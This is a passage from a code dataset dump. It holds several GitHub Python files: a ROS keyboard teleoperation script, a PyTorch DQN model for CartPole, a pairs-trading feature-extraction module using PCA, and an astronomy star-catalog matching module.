self.left_back.publish(-self.x)\n self.right_front.publish(-self.x)\n self.left_front.publish(-self.x)\n time.sleep(self.sleep_rate)\n\n def Control_left(self):\n self.x += self.speed\n self.right_back.publish(self.x)\n self.left_back.publish(-self.x)\n self.right_front.publish(self.x)\n self.left_front.publish(-self.x)\n time.sleep(self.sleep_rate)\n\n def Control_right(self):\n self.x += self.speed\n self.right_back.publish(-self.x)\n self.left_back.publish(self.x)\n self.right_front.publish(-self.x)\n self.left_front.publish(self.x)\n time.sleep(self.sleep_rate)\n \n def Speed_Increase(self):\n self.speed += 0.1\n self.Set_limit()\n print(\"Speed has increased to: {}\".format(self.speed))\n\n def Speed_Decrease(self):\n self.speed -= 0.1\n self.Set_limit()\n print(\"Speed has decreased to: {}\".format(self.speed))\n\n\n\n\nif __name__ == '__main__':\n obj = Twist_()\n r = rospy.Rate(obj.sample_rate)\n print(\"-------------CONTROLLER DESCRIPTION------------\")\n print(\" You need to press up key to move in front\")\n print(\" You need to press down key to move back\")\n print(\" You need to press left key to move left\")\n print(\" You need to press right key to move right\")\n print(\" You need to press 'w' key to increase speed\")\n print(\" You need to press 's' key to decrease speed\")\n print(\"DISCLAIMER: You would need to press the key for continuous motion.\")\n print(\"The actuations are discrete and wont move continuously\")\n\n\n while not rospy.is_shutdown():\n def on_press(key):\n if key == Key.up:\n obj.Control()\n\n elif key == Key.down:\n obj.Control_back()\n \n elif key == Key.left:\n obj.Control_left()\n\n elif key == Key.right:\n obj.Control_right() \n\n elif key.char == ('w'):\n obj.Speed_Increase()\n \n elif key.char == ('s'):\n obj.Speed_Decrease()\n \n def on_release(key):\n if key == Key.esc:\n return False\n\n# Collect events until released\n with Listener(\n on_press=on_press,\n on_release=on_release) as listener:\n listener.join()\n r.sleep()\n","repo_name":"Blebot0/Teleop_twist","sub_path":"src/twister/scripts/twister_runner.py","file_name":"twister_runner.py","file_ext":"py","file_size_in_byte":3905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"20883117585","text":"import random\nimport torch.nn as nn\n\n\nclass DQNCartpole(nn.Module):\n\n def __init__(self, n_actions):\n \"\"\"\n h: height of the screen\n w: width of the screen\n frames: number of frames taken into account for the state\n n_actions: number of actions\n \"\"\"\n super(DQNCartpole, self).__init__()\n\n self.n_actions = n_actions\n\n self.fc = nn.Sequential(\n nn.Linear(in_features=4, out_features=16),\n nn.ReLU(),\n nn.Linear(in_features=16, out_features=16),\n nn.ReLU(),\n nn.Linear(in_features=16, out_features=n_actions)\n )\n\n def forward(self, x):\n flatten = x.view(x.shape[0], -1)\n return self.fc(flatten)\n\n def select_action(self, state, epsilon):\n if random.random() < epsilon:\n action = random.choice(range(self.n_actions))\n else:\n # max(1) for the dim, [1] for the indice, [0] for the value\n action = int(self.forward(state).max(1)[1].detach())\n # Update the number of steps done\n\n return action\n","repo_name":"geoffreycid/ther","sub_path":"models/dqncartpole.py","file_name":"dqncartpole.py","file_ext":"py","file_size_in_byte":1099,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"40288293450","text":"import csv\nimport matlab.engine\nimport json\nimport pandas as pd\nimport re\nfrom sklearn import preprocessing\nfrom sklearn.decomposition import PCA\n\nnum_features = 15\n\n\ndef main(relevant_shares, firm_data, start_year, indicator=None, pca_variation=0.95):\n\n ''' Gets the final features for each share which will be used for clustering\n\n :param relevant_shares: Shares qualified for consideration in the formation period\n :param firm_data: Firm Fundamentals data\n :param start_year: Start of formation period\n :param indicator: Whether any features should be excluded\n (Indicator: 1 - Exclude volume, 2 - Exclude price, 3 - Exclude firm fundamentals)\n :param pca_variation: Total variation final PCA components are expected to explain\n :return: New features after PCA is done\n '''\n\n with open('volume.json') as json_file:\n vol_data = json.load(json_file)\n\n extract_time_series_features(relevant_shares)\n\n consolidated_features = consolidate_features(firm_data, vol_data, start_year, indicator)\n chosen_features = pca(consolidated_features, pca_variation)\n\n return chosen_features\n\n\ndef extract_time_series_features(relevant_shares):\n\n ''' Converts Price Series to static features\n\n :param relevant_shares: Shares whose price series is to be converted\n :return: None\n '''\n\n # Adapted from https: // github.com / cecilialeiqi / SPIRAL\n eng = matlab.engine.start_matlab()\n time_series_data = []\n\n for i in range(0, len(relevant_shares)):\n share = relevant_shares[i]\n share_price_series = share[3]['LOG_PRC'].tolist()\n share_price_series.insert(0, share[0])\n time_series_data.append(share_price_series)\n\n file = open('time_series.csv', 'w', newline='')\n with file:\n write = csv.writer(file)\n write.writerows(time_series_data)\n\n eng.runme('time_series.csv', nargout=0)\n eng.quit()\n\n\ndef consolidate_features(firm_data, vol_data, start_year, indicator):\n\n ''' Formats all the necessary input features into a single dataframe\n\n :param firm_data: Firm Fundamentals data\n :param vol_data: Trade volume data\n :param start_year: Start of formation period\n :param indicator: Whether any features should be excluded\n (Indicator: 1 - Exclude volume, 2 - Exclude price, 3 - Exclude firm fundamentals)\n :return: Formatted dataset with all the necessary input features for each stock\n '''\n\n col_names = ['permno']\n\n for i in range(0, num_features):\n col_name = 'feature' + str(i)\n col_names.append(col_name)\n\n if indicator != 2:\n time_series = pd.read_csv('sparse_features.csv', names=col_names, header=None)\n time_series['permno'] = time_series['permno'].astype(int)\n else:\n permno_series = pd.read_csv('sparse_features.csv', names=col_names, header=None)\n time_series = permno_series['permno'].to_frame()\n\n for i in range(start_year, start_year+3):\n roa = []\n roe = []\n beta = []\n market_cap = []\n b_m_ratio = []\n vol = []\n\n for j, row in time_series.iterrows():\n permno = int(row['permno'])\n\n # Get ROA, ROE, Market Capitalisation, B/M Ratio, beta\n result = firm_data.loc[firm_data['LPERMNO'] == permno]\n if len(result.values) != 0:\n result = result[result['datadate'].dt.year == i]\n else:\n time_series.drop(j, inplace=True)\n continue\n\n if len(result.values != 0):\n if bool(re.search('[1-9]+', str(result['roa'].values[0]))) and \\\n bool(re.search('[1-9]+', str(result['roe'].values[0]))) and \\\n bool(re.search('[1-9]+', str(result['marketCap_Calendar'].values[0]))) and \\\n bool(re.search('[1-9]+', str(result['BM_Ratio_Fiscal'].values[0]))) and \\\n bool(re.search('[1-9]+', str(result['beta'].values[0]))):\n\n roa.append(result['roa'].values[0])\n roe.append(result['roe'].values[0])\n market_cap.append(result['marketCap_Calendar'].values[0])\n b_m_ratio.append(result['BM_Ratio_Fiscal'].values[0])\n beta.append(result['beta'].values[0])\n ave_vol = vol_data[str(permno)][str(i)]\n vol.append(ave_vol)\n\n else:\n time_series.drop(j, inplace=True)\n else:\n time_series.drop(j, inplace=True)\n\n roa_col = 'roa' + str(i - start_year)\n roe_col = 'roe' + str(i - start_year)\n market_cap_col = 'market_cap' + str(i - start_year)\n b_m_ratio_col = 'b_m_ratio' + str(i - start_year)\n beta_col = 'beta' + str(i - start_year)\n vol_col = 'vol' + str(i - start_year)\n\n if indicator != 3:\n time_series[roa_col] = roa\n time_series[roe_col] = roe\n time_series[market_cap_col] = market_cap\n time_series[b_m_ratio_col] = b_m_ratio\n time_series[beta_col] = beta\n\n if indicator != 1:\n time_series[vol_col] = vol\n\n new_file_name = \"/Users/elysiatan/PycharmProjects/thesis/Updated/pre-processed.csv\"\n time_series.to_csv(new_file_name)\n return time_series\n\n\ndef pca(consolidated_features, pca_variation):\n\n ''' Conducts PCA\n\n :param consolidated_features: Initial data frame with all the required features\n :param pca_variation: Total amount of variation the chosen Principal Components are expected to explain\n :return: Principal components of each stock formatted in a single data frame\n '''\n\n col_list = list(consolidated_features.columns)\n col_list.pop()\n\n standard_scaler = preprocessing.StandardScaler()\n features = consolidated_features.loc[:,col_list].values\n features = standard_scaler.fit_transform(features)\n\n pca_features = PCA(n_components=pca_variation)\n\n principalComponents_features = pca_features.fit_transform(features)\n col_list.clear()\n\n for i in range(0, len(pca_features.explained_variance_ratio_)):\n col_name = 'component_' + str(i + 1)\n col_list.append(col_name)\n\n principal_features_Df = pd.DataFrame(data=principalComponents_features, columns=col_list)\n principal_features_Df['permno'] = consolidated_features['permno'].values\n print(consolidated_features.head())\n print(principal_features_Df.head())\n\n return principal_features_Df\n","repo_name":"ElysiaTanZY/PairsTrading","sub_path":"Final/pre_process_data.py","file_name":"pre_process_data.py","file_ext":"py","file_size_in_byte":6477,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"25737916671","text":"\"\"\"\nOverhaul of cosmouline's star module, for alipy2.\nThis module contains stuff for geometric matching algorithms.\n\"\"\"\n\nimport sys\nimport os\nimport math\nimport numpy as np\nimport operator # For sorting\nimport copy\nimport itertools\nimport scipy.linalg\nimport scipy.spatial\n\n\nclass Star:\n \"\"\"\n Simple class to represent a single source\n (usually stars, but not necessarily).\n In this module we often manipulate lists of such Star objects.\n \"\"\"\n\n def __init__(self, x=0.0, y=0.0, name=\"untitled\",\n flux=-1.0, props={}, fwhm=-1.0, elon=-1.0):\n \"\"\"\n flux : Some \"default\" or \"automatic\" flux, might be a just good guess.\n Used for sorting etc.\n If you have several fluxes, colours, store them in the\n props dict.\n props : A placeholder dict to contain other properties of your choice\n (not required nor used by the methods).\n \"\"\"\n self.x = float(x)\n self.y = float(y)\n self.name = str(name)\n self.flux = float(flux)\n self.props = props\n self.fwhm = float(fwhm)\n self.elon = float(elon)\n\n def copy(self):\n return copy.deepcopy(self)\n\n def __getitem__(self, key):\n \"\"\"\n Used for sorting list of stars.\n \"\"\"\n if key == 'flux':\n return self.flux\n if key == 'fwhm':\n return self.fwhm\n if key == 'elon':\n return self.elon\n\n def __str__(self):\n \"\"\"\n A string representation of a source.\n \"\"\"\n return \"%10s : (%8.2f,%8.2f) | %12.2f | %5.2f %5.2f\" % (self.name,\n self.x,\n self.y,\n self.flux,\n self.fwhm,\n self.elon)\n\n def coords(self, full=False):\n \"\"\"\n Returns the coords in form of an array.\n\n :param full: If True, I also include flux, fwhm, elon\n :type full: boolean\n\n \"\"\"\n if full:\n return np.array([self.x, self.y, self.flux, self.fwhm, self.elon])\n else:\n return np.array([self.x, self.y])\n\n def distance(self, otherstar):\n \"\"\"\n Returns the distance between the two stars.\n \"\"\"\n return math.sqrt(np.sum((self.coords() - otherstar.coords()) ** 2))\n\n def trigangle(self, otherstar):\n \"\"\"\n returns the \"trigonometric\" angle of the vector that goes from\n self to the otherstar, in degrees\n \"\"\"\n return math.atan2(otherstar.y - self.y, otherstar.x - self.x) * \\\n (180.0 / math.pi) % 360.0\n\n def distanceandsort(self, otherstarlist):\n \"\"\"\n Returns a list of dicts(star, dist, origpos),\n sorted by distance to self. The 0th star is the closest.\n\n otherstarlist is not modified.\n \"\"\"\n import operator # for the sorting\n\n returnlist = []\n for i, star in enumerate(otherstarlist):\n dist = self.distance(star)\n returnlist.append({'star': star, 'dist': dist, 'origpos': i})\n returnlist = sorted(returnlist, key=operator.itemgetter('dist'))\n # sort stars according to dist\n\n return returnlist\n\n# And now some functions to manipulate list of such stars ###\n\n\ndef printlist(starlist):\n \"\"\"\n Prints the stars ...\n \"\"\"\n for source in starlist:\n print(source)\n\n\ndef listtoarray(starlist, full=False):\n \"\"\"\n Transforms the starlist into a 2D numpy array for fast manipulations.\n First index is star, second index is x or y\n\n :param full: If True, I also include flux, fwhm, elon\n :type full: boolean\n\n \"\"\"\n return np.array([star.coords(full=full) for star in starlist])\n\n\ndef area(starlist, border=0.01):\n \"\"\"\n Returns the area covered by the stars.\n Border is relative to max-min\n \"\"\"\n if len(starlist) == 0:\n return np.array([0, 1, 0, 1])\n\n if len(starlist) == 1:\n star = starlist[0]\n return np.array([star.x - 0.5, star.x + 0.5,\n star.y - 0.5, star.y + 0.5])\n\n a = listtoarray(starlist)\n (xmin, xmax) = (np.min(a[:, 0]), np.max(a[:, 0]))\n (ymin, ymax) = (np.min(a[:, 1]), np.max(a[:, 1]))\n xw = xmax - xmin\n yw = ymax - ymin\n xmin = xmin - border * xw\n xmax = xmax + border * xw\n ymin = ymin - border * yw\n ymax = ymax + border * yw\n return np.array([xmin, xmax, ymin, ymax])\n\n\ndef readmancat(mancatfilepath, verbose=\"True\"):\n \"\"\"\n Reads a \"manual\" star catalog --\n by manual, I mean \"not written by sextractor\", so this is typically a \n *short* file.\n\n Comment lines start with #, blank lines are ignored.\n The format of a data line is\n\n starname xpos ypos [flux]\n\n The data is returned as a list of star objects.\n \"\"\"\n\n if not os.path.isfile(mancatfilepath):\n print(\"File does not exist :\")\n print(mancatfilepath)\n print(\"Line format to write : starname xpos ypos [flux]\")\n sys.exit(1)\n\n myfile = open(mancatfilepath, \"r\")\n lines = myfile.readlines()\n myfile.close\n\n table = []\n knownnames = [] # We check for uniqueness of the names\n\n for i, line in enumerate(lines):\n if line[0] == '#' or len(line) < 4:\n continue\n elements = line.split()\n nbelements = len(elements)\n\n if nbelements != 3 and nbelements != 4:\n print(\"Format error on line\", i + 1, \"of :\")\n print(mancatfilepath)\n print(\"The line looks like this :\")\n print(line)\n print(\"... but we want : starname xpos ypos [flux]\")\n sys.exit(1)\n\n name = elements[0]\n x = float(elements[1])\n y = float(elements[2])\n if nbelements == 4:\n flux = float(elements[3])\n else:\n flux = -1.0\n\n if name in knownnames:\n print(\"Error in %s\" % (mancatfilepath))\n print(\"The name '%s' (line %i) is already taken.\" % (name, i + 1))\n print(\"This is insane, bye !\")\n sys.exit(1)\n knownnames.append(name)\n\n # table.append({\"name\":name, \"x\":x, \"y\":y, \"flux\":flux})\n table.append(Star(x=x, y=y, name=name, flux=flux))\n\n if verbose:\n print(\"I've read\", len(table), \"sources from\",\n os.path.split(mancatfilepath)[1])\n return table\n\n\ndef readsexcat(sexcat, hdu=0, verbose=True,\n maxflag=3, posflux=True, minfwhm=2.0, propfields=[]):\n \"\"\"\n sexcat is either a string (path to a file),\n or directly an asciidata catalog object as returned by pysex\n\n :param hdu: The hdu containing the science data from which I should build\n the catalog. 0 will select the only available extension.\n If multihdu, 1 is usually science.\n\n We read a sextractor catalog with astroasciidata and return a list\n of stars.\n Minimal fields that must be present in the catalog :\n\n * NUMBER\n * EXT_NUMBER\n * X_IMAGE\n * Y_IMAGE\n * FWHM_IMAGE\n * ELONGATION\n * FLUX_AUTO\n * FLAGS\n\n maxflag : maximum value of the FLAGS that you still want to keep.\n Sources with higher values will be skipped.\n * FLAGS == 0 : all is fine\n * FLAGS == 2 : the flux is blended with another one;\n further info in the sextractor manual.\n * FLAGS == 4 At least one pixel of the object is saturated\n (or very close to)\n * FLAGS == 8 The object is truncated\n (too close to an image boundary)\n * FLAGS is the sum of these ...\n\n posflux : if True, only stars with positive FLUX_AUTO are included.\n\n propfields : list of FIELD NAMES to be added to the props of the stars.\n\n I will always add FLAGS as a propfield by default.\n \"\"\"\n returnlist = []\n\n if isinstance(sexcat, str):\n\n import asciidata\n if not os.path.isfile(sexcat):\n print(\"Sextractor catalog does not exist :\")\n print(sexcat)\n sys.exit(1)\n\n if verbose:\n print(\"Reading %s \" % (os.path.split(sexcat)[1]))\n mycat = asciidata.open(sexcat)\n\n else: # then it's already a asciidata object\n mycat = sexcat\n\n # We check for the presence of required fields :\n minimalfields = [\"NUMBER\", \"X_IMAGE\", \"Y_IMAGE\", \"FWHM_IMAGE\",\n \"ELONGATION\", \"FLUX_AUTO\", \"FLAGS\", \"EXT_NUMBER\"]\n minimalfields.extend(propfields)\n availablefields = [col.colname for col in mycat]\n for field in minimalfields:\n if field not in availablefields:\n print(\"Field %s not available in your catalog file !\" % (field))\n sys.exit(1)\n\n if verbose:\n print(\"Number of sources in catalog : %i\" % (mycat.nrows))\n\n extnumbers = np.unique(mycat['EXT_NUMBER'].tonumpy())\n if verbose:\n print(\"EXT_NUMBER values found in catalog : %s\" %\n (\", \".join([\"%i\" % val for val in extnumbers])))\n\n if len(extnumbers) > 1 and hdu == 0:\n print((\"Looks like we have several FITS extensions. \"\n \"You have to specify which hdu to use !\"))\n sys.exit(1)\n\n propfields.append(\"FLAGS\")\n propfields = list(set(propfields))\n\n if mycat.nrows == 0:\n if verbose:\n print(\"No stars in the catalog :-(\")\n else:\n for i, num in enumerate(mycat['NUMBER']):\n if mycat['FLAGS'][i] > maxflag:\n continue\n if hdu != 0 and mycat['EXT_NUMBER'][i] != hdu:\n continue\n flux = mycat['FLUX_AUTO'][i]\n if posflux and (flux < 0.0):\n continue\n fwhm = mycat['FWHM_IMAGE'][i]\n if float(fwhm) <= minfwhm:\n continue\n\n props = dict([[propfield, mycat[propfield][i]]\n for propfield in propfields])\n\n newstar = Star(\n x=mycat['X_IMAGE'][i],\n y=mycat['Y_IMAGE'][i],\n name=str(num),\n flux=flux,\n props=props,\n fwhm=mycat['FWHM_IMAGE'][i],\n elon=mycat['ELONGATION'][i])\n returnlist.append(newstar)\n\n if verbose:\n print(\"I've selected %i sources\" % (len(returnlist)))\n\n return returnlist\n\n\ndef findstar(starlist, nametofind):\n \"\"\"\n Returns a list of stars for which name == nametofind\n \"\"\"\n foundstars = []\n for source in starlist:\n if source.name == nametofind:\n foundstars.append(source)\n return foundstars\n\n\ndef sortstarlistbyflux(starlist):\n \"\"\"\n We sort starlist according to flux : highest flux first !\n \"\"\"\n sortedstarlist = sorted(starlist, key=operator.itemgetter('flux'))\n sortedstarlist.reverse()\n return sortedstarlist\n\n\ndef sortstarlistby(starlist, measure):\n \"\"\"\n We sort starlist according to measure : lowest first !\n Where measure is one of flux, fwhm, elon\n \"\"\"\n sortedstarlist = sorted(starlist, key=operator.itemgetter(measure))\n return sortedstarlist\n\n\nclass SimpleTransform:\n\n \"\"\"\n Represents an affine transformation consisting of rotation,\n isotropic scaling, and shift.\n [x', y'] = [[a -b], [b a]] * [x, y] + [c d]\n \"\"\"\n\n def __init__(self, v=(1, 0, 0, 0)):\n \"\"\"\n v = (a, b, c, d)\n \"\"\"\n self.v = np.asarray(v)\n\n def getscaling(self):\n return math.sqrt(self.v[0] * self.v[0] + self.v[1] * self.v[1])\n\n def getrotation(self):\n \"\"\"\n The CCW rotation angle, in degrees\n \"\"\"\n return math.atan2(self.v[1], self.v[0]) * (180.0 / math.pi) # % 360.0\n\n def __str__(self):\n return \"Rotation %+11.6f [deg], scale %8.6f\" % (self.getrotation(),\n self.getscaling())\n\n def inverse(self):\n \"\"\"\n Returns the inverse transform !\n \"\"\"\n\n # To represent affine transformations with matrices, we can use\n # homogeneous coordinates.\n homo = np.array([\n [self.v[0], -self.v[1], self.v[2]],\n [self.v[1], self.v[0], self.v[3]],\n [0.0, 0.0, 1.0]\n ])\n\n inv = scipy.linalg.inv(homo)\n # print inv\n\n return SimpleTransform((inv[0, 0], inv[1, 0], inv[0, 2], inv[1, 2]))\n\n def matrixform(self):\n \"\"\"\n Special output for scipy.ndimage.interpolation.affine_transform\n Returns (matrix, offset)\n \"\"\"\n\n return (np.array([[self.v[0], -self.v[1]],\n [self.v[1], self.v[0]]]),\n self.v[2:4])\n\n def apply(self, xy):\n \"\"\"\n Applies the transform to a point (x, y)\n \"\"\"\n x, y = xy # backward compatibility hack, JN\n xn = self.v[0] * x - self.v[1] * y + self.v[2]\n yn = self.v[1] * x + self.v[0] * y + self.v[3]\n return (xn, yn)\n\n def applystar(self, star):\n transstar = star.copy()\n (transstar.x, transstar.y) = self.apply((transstar.x, transstar.y))\n return transstar\n\n def applystarlist(self, starlist):\n return [self.applystar(star) for star in starlist]\n\n\ndef fitstars(uknstars, refstars, verbose=True):\n \"\"\"\n I return the transform that puts the unknown stars (uknstars)\n onto the refstars.\n If you supply only two stars, this is using linalg.solve() --\n perfect solution.\n If you supply more stars, we use linear least squares,\n i.e. minimize the 2D error.\n\n Formalism inspired by:\n http://math.stackexchange.com/questions/77462/\n \"\"\"\n\n assert len(uknstars) == len(refstars)\n if len(uknstars) < 2:\n if verbose:\n print(\"Sorry I cannot fit a transform on less than 2 stars.\")\n return None\n\n # ukn * x = ref\n # x is the transform (a, b, c, d)\n\n ref = np.hstack(listtoarray(refstars)) # a 1D vector of lenth 2n\n\n uknlist = []\n for star in uknstars:\n uknlist.append([star.x, -star.y, 1, 0])\n uknlist.append([star.y, star.x, 0, 1])\n ukn = np.vstack(np.array(uknlist)) # a matrix\n\n if len(uknstars) == 2:\n trans = scipy.linalg.solve(ukn, ref)\n else:\n trans = scipy.linalg.lstsq(ukn, ref)[0]\n\n return SimpleTransform(np.asarray(trans))\n\n\n# def teststars(self, uknstars, refstars, r=5.0, verbose=True):\n# \"\"\"\n# We apply the trans to the uknstarlist, and check for correspondance with the refstarlist.\n# Returns the number of uknstars that could be matched to refstars within r [unit : reference image pixels !].\n# \"\"\"\n#\n# transuknstars = self.applystarlist(uknstars)\n#\n# transukn = listtoarray(transuknstars)\n# ref = listtoarray(refstars)\n# print \"Unknown stars : \", transukn.shape[0]\n# print \"Reference stars : \", ref.shape[0]\n#\n# mindists = np.min(scipy.spatial.distance.cdist(ref, transukn), axis=0)\n# print \" must become smarter !!!!\"\n# nbmatch = np.sum(mindists < r)\n# if verbose:\n# print \"Tested match on %4i references : OK for %4i/%4i unknown stars (r = %.1f).\" % (len(refstars), nbmatch, len(uknstars), r)\n#\n# return nbmatch\n#\n#\n# def refinestars(self, uknstars, refstars, r=5.0, verbose=True):\n# \"\"\"\n# I refit myself to all matching stars.\n# \"\"\"\n#\n# transuknstars = self.applystarlist(uknstars)\n# transukn = listtoarray(transuknstars)\n# ref = listtoarray(refstars)\n#\n# Brute force...\n# dists = scipy.spatial.distance.cdist(ref, transukn)\n# uknmindistindexes = np.argmin(dists, axis=0) # For each ukn, the index of the closest ref\n# uknmindist = np.min(dists, axis=0) # The corresponding distances\n# uknkeepers = uknmindist < r\n#\n# matchuknstars = []\n# matchrefstars = []\n# for i in range(len(uknkeepers)):\n# if uknkeepers[i] == True:\n# matchuknstars.append(uknstars[i])\n# matchrefstars.append(refstars[uknmindistindexes[i]])\n# if verbose:\n# print \"Refining (before / after) :\"\n# print self\n# self.fitstars(matchuknstars, matchrefstars)\n# if verbose:\n# print self\n#\n\n\ndef identify(uknstars, refstars,\n trans=None, r=5.0, verbose=True, getstars=False):\n \"\"\"\n Allows to:\n * get the number or matches, i.e. evaluate the quality of the trans\n * get corresponding stars from both lists (without the transform applied)\n\n :param getstars: If True, I return two lists of corresponding stars,\n instead of just the number of matching stars\n :type getstars: boolean\n\n Inspired by the \"formpairs\" of alipy 1.0 ...\n \"\"\"\n\n if trans != None:\n ukn = listtoarray(trans.applystarlist(uknstars))\n else:\n ukn = listtoarray(uknstars)\n ref = listtoarray(refstars)\n\n dists = scipy.spatial.distance.cdist(\n ukn, ref) # Big table of distances between ukn and ref\n mindists = np.min(dists, axis=1) # For each ukn, the minimal distance\n minok = mindists <= r # booleans for each ukn\n minokindexes = np.argwhere(\n minok).flatten() # indexes of uknstars with matches\n\n if verbose:\n print((\"%i/%i stars with distance < r \"\n \"= %.1f (mean %.1f, \"\n \"median %.1f, std %.1f)\") % (np.sum(minok), len(uknstars), r,\n np.mean(mindists[minok]),\n np.median(mindists[minok]),\n np.std(mindists[minok])))\n matchuknstars = []\n matchrefstars = []\n\n for i in minokindexes: # we look for the second nearest ...\n sortedrefs = np.argsort(dists[i, :])\n firstdist = dists[i, sortedrefs[0]]\n seconddist = dists[i, sortedrefs[1]]\n if seconddist > 2.0 * firstdist: # Then the situation is clear,\n # we keep it.\n matchuknstars.append(uknstars[i])\n matchrefstars.append(refstars[sortedrefs[0]])\n else:\n pass # Then there is a companion, we skip it.\n\n if verbose:\n print(\"Filtered for companions, keeping %i/%i matches\" %\n (len(matchuknstars), np.sum(minok)))\n\n if getstars == True:\n return (matchuknstars, matchrefstars)\n else:\n return len(matchuknstars)\n\n\n#\n\n#\n#\n#\n#\n# def formpairs(starlist1, starlist2, tolerance = 2.0, onlysingle = False, transform = False, scalingratio = 1.0, angle = 0.0, shift = (0.0, 0.0), verbose = True):\n# \"\"\"\n# starlist1 and starlist2 are two lists of stars.\n# For each star in starlist1, we find the closest star of starlist2, if found within a given tolerance.\n# starlist1 = hand picked stars\n# starlist2 = large catalog of\n# We return a list of pairs of the corresponding stars (in form of a dict). See first lines to get that.\n#\n# transform == True :\n# starlist2 is tranformed, using scalingration, angle, and shift, prior to the pair creation.\n# Nevertheless, the idlist 2 will be filled with the raw untransformed stars from starlist2 !!!\n#\n#\n# tolerance = maximum distance between identified stars. Set it high -> simply select the closest one.\n# onlysingle == False : closest star within tolerance\n# onlysingle == True : same, but only if no other star is within tolerance\n#\n# \"\"\"\n# idlist1 = [] # Stars of starlist1 identified in starlist2\n# idlist2 = [] # The corresponding starlist2 stars (same number, same order)\n# iddists = [] # The list of distances between the stars of idlist1 and idlist2 (same number and order)\n# nomatch = [] # Stars of starlist1 that could not be identified in starlist2\n# notsure = [] # Stars of starlist1 that could not doubtlessly be identified in starlist2\n#\n#\n# If required, we transform the starlist 2 :\n# if transform :\n# transtarlist2 = copy.deepcopy(starlist2)\n# zoomstarlist(transtarlist2, scalingratio)\n# rotatestarlist(transtarlist2, angle, (0, 0))\n# shiftstarlist(transtarlist2, shift)\n# Remember : we will pick the stars to fill idlist2 from the raw starlist2 !\n#\n# else:\n# transtarlist2 = starlist2\n#\n# returndict = {\"idlist1\":idlist1, \"idlist2\":idlist2, \"iddists\":iddists, \"nomatch\":nomatch, \"notsure\":notsure}\n#\n# if len(starlist1) == 0:\n# if verbose :\n# print \"Your starlist1 is empty, nothing to do.\"\n# return returndict\n#\n# if len(transtarlist2) == 0:\n# if verbose :\n# print \"Your starlist2 is empty, no stars to identify.\"\n# nomatch.extend(starlist1)\n# return returndict\n#\n# Special treatment in the case there is only one star in starlist2\n# if len(transtarlist2) == 1:\n# if verbose :\n# print \"Your starlist2 is quite small...\"\n# for handstar in starlist1:\n# closest = handstar.distanceandsort(transtarlist2)\n# if closest[0]['dist'] > tolerance:\n# if verbose :\n# print \"No match for star %s\" % handstar.name\n# nomatch.append(handstar)\n# continue\n# else:\n# idlist1.append(handstar)\n# idlist2.append(starlist2[closest[0]['origpos']])\n# iddists.append(closest[0]['dist'])\n#\n# return returndict\n#\n# The usual case :\n# else:\n# for handstar in starlist1:\n# closest = handstar.distanceandsort(transtarlist2)\n# if closest[0]['dist'] > tolerance:\n# if verbose :\n# print \"No match for star %s\" % handstar.name\n# nomatch.append(handstar)\n# continue\n#\n# Ok, then it must be closer then tolerance. We check for other stars whose distance is less then tolerance different from the first ones distance :\n# elif onlysingle and (closest[1]['dist'] - closest[0]['dist'] < tolerance):\n# if verbose :\n# print \"Multiple candidates for star %s, skipping\" % handstar.name\n# notsure.append(handstar)\n# continue\n#\n# Finally, this means we have found our star\n# else:\n# idlist1.append(handstar)\n# idlist2.append(starlist2[closest[0]['origpos']])\n# iddists.append(closest[0]['dist'])\n#\n# return returndict\n#\n#\n#\n# def listidentify(starlist1, starlist2, tolerance = 2.0, onlysingle = False, transform = False, scalingratio = 1.0, angle = 0.0, shift = (0.0, 0.0), verbose = True):\n# \"\"\"\n# Same as formpairs (we call it), but we return only the idlist2 (not transformed, even if you give a transform), but with names taken from idlist1.\n# Typical : starlist2 is a sextractor catalog with random names, starlist 1 is a handpicked catalog with special names,\n# and you want to get stars with sextractor properties but your own names.\n# \"\"\"\n#\n# formpairsdict = formpairs(starlist1, starlist2, tolerance = tolerance, onlysingle = onlysingle, transform = transform, scalingratio = scalingratio, angle = angle, shift = shift, verbose = verbose)\n#\n# match = []\n#\n# for (s1, s2, d) in zip(formpairsdict[\"idlist1\"], formpairsdict[\"idlist2\"], formpairsdict[\"iddists\"]):\n# s2.name = s1.name\n# s2.props[\"iddist\"] = d\n# match.append(s2)\n#\n# nomatchnames = [s.name for s in formpairsdict[\"nomatch\"]]\n# notsurenames = [s.name for s in formpairsdict[\"notsure\"]]\n#\n# return {\"match\":match, \"nomatchnames\":nomatchnames, \"notsurenames\":notsurenames}\n#\n#\n#\n#\n# def findtrans(preciserefmanstars, autostars, scalingratio = 1.0, tolerance = 2.0, minnbrstars = 5, mindist = 100.0, nref = 10, nauto = 30, verbose=True):\n#\n# \"\"\"\n# Finds a rotation and shift between two catalogs (a big dirty one and a small handpicked one).\n# Both catalogs should be SORTED IN FLUX, and the second one should be smaller for max performance.\n#\n# Only the first nref stars of preciserefmanstars are considered for searching the possible matches, and furthermore only\n# pairs farther then mindist are considered.\n#\n# tolerance is used when looking if a match was found.\n#\n# minnbrstars = as soon as this number of stars are identified, the algo stops, we look no further.\n#\n# The scalingratio parameter is a float to multiply with a distance of the autostars to match the same distance between the preciserefmanstars.\n#\n# We return a dict of 3 things :\n# - nbr of identified stars (-1 if failed)\n# - rotation angle (center = 0,0)\n# - shift\n#\n# This should then be used to transform your autostars, and then run listidentify between the catalogs if you want ...\n# This is done with the function formpairs\n#\n# \"\"\"\n#\n# Think of a Hubble expansion with \"origin\" (0,0)\n# We apply this to the image to align, so that it matches the distances in the reference image.\n# autostarscopy = copy.deepcopy(autostars)\n# zoomstarlist(autostarscopy, scalingratio)\n#\n# n = 0 # a counter for the number of tries\n# indentlist = [] # only used in case of failure\n#\n# for b, brightstar in enumerate(preciserefmanstars[:nref]):\n# for f, faintstar in enumerate(preciserefmanstars[:nref]):\n# if f == b: continue\n# stardistance = brightstar.distance(faintstar)\n# if stardistance < mindist : continue\n#\n# We have a pair of stars from the preciserefmancat.\n# Let's see if we find to stars in the autocat with a similar distance.\n#\n# for bc, brightcandidate in enumerate(autostarscopy[:nauto]):\n# for fc, faintcandidate in enumerate(autostarscopy[:nauto]):\n# if fc == bc: continue\n# candidatedistance = brightcandidate.distance(faintcandidate)\n# if math.fabs(candidatedistance - stardistance)/stardistance > 0.05 :\n# So if there is a disagreement larger then 5 percent...\n# continue\n#\n# We now have a promising pair of pairs, let's check them out.\n#\n# n = n+1\n#\n# starangle = brightstar.trigangle(faintstar)\n# 